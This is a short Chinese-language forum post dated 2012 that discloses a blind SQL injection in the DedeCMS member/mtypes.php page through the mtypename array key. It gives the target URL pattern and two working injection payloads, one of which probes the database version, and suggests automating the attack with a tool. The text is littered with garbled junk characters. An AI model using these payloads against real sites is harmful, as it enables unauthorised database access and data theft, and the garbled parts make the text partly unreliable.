需要magic_quotes_gpc = Off,所以说是鸡肋啊.7 L! r* V" P! g* v* X1 [3 d: S
" ?- w$ ~' ] P5 d& X& r; e ! ] m" Y1 A$ w$ g5 e9 B# E
发生在数组key里的注射漏洞,有点意思.3 E3 ^3 G; g0 K
! \/ k4 w& u# E8 k% U这里是盲注,就是麻烦点同样可以利用,可以写个工具,自动话的跑一下8 s( A& r9 \5 r; v; @! Q7 q% n; P
) D6 V# x" @5 } G2 X& k
http://www.xxx.com /dede/member/mtypes.php?dopost=save5 s( ~4 w& k3 N% [) {4 G
3 w$ F$ A8 n! k( J+ Mexploit:" Q& h4 B. X7 {% V- W3 T3 S
mtypename[7' and (@`'` or (56%3D56/*sql inject here*/)) and '3'%3D'3]=c4rp3nt3r" p' m" g! M9 `4 ?& p8 E. H: a/ y
mtypename[7' and (@`'` or (substring(@@version,1,1)=5)) and '3'%3D'3]=c4rp3nt3r
8 d$ J( P0 a+ c0 k( z V |
发表于 2012-12-20 08:08:09
收藏
支持
反对